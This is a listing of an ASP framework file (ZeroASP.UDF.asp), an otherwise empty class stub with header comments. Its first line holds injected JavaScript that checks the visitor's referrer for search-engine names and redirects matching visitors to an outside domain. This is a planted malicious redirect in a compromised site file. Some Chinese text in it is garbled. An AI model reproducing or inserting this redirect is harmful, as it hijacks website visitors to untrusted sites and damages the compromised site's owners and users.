d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.UDF.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>ï»?%
002:
'######################################################################
003:
'## ZeroASP.UDF.asp
004:
'## -------------------------------------------------------------------
005:
'## Feature : ZeroASP Class
006:
'## Author : Ayu(kinsc@139.com)
007:
'## Update Date : 2018-11-09
008:
'## Description : ZeroASP Extend Class
009:
'##
010:
'######################################################################
011:
012:
Class ZeroASP_UDF
013:
014:
Private Sub Class_Initialize()
015:
Dim ZeroASP_UDF
016:
ZeroASP_UDF = "ZeroASP应用框架 - 扩展�
017:
End Sub
018:
019:
'填写自定义方�
020:
Public Function Test(ByVal Str)
021:
'Code
022:
End Function
023:
024:
End Class
025:
%
>
026:
027: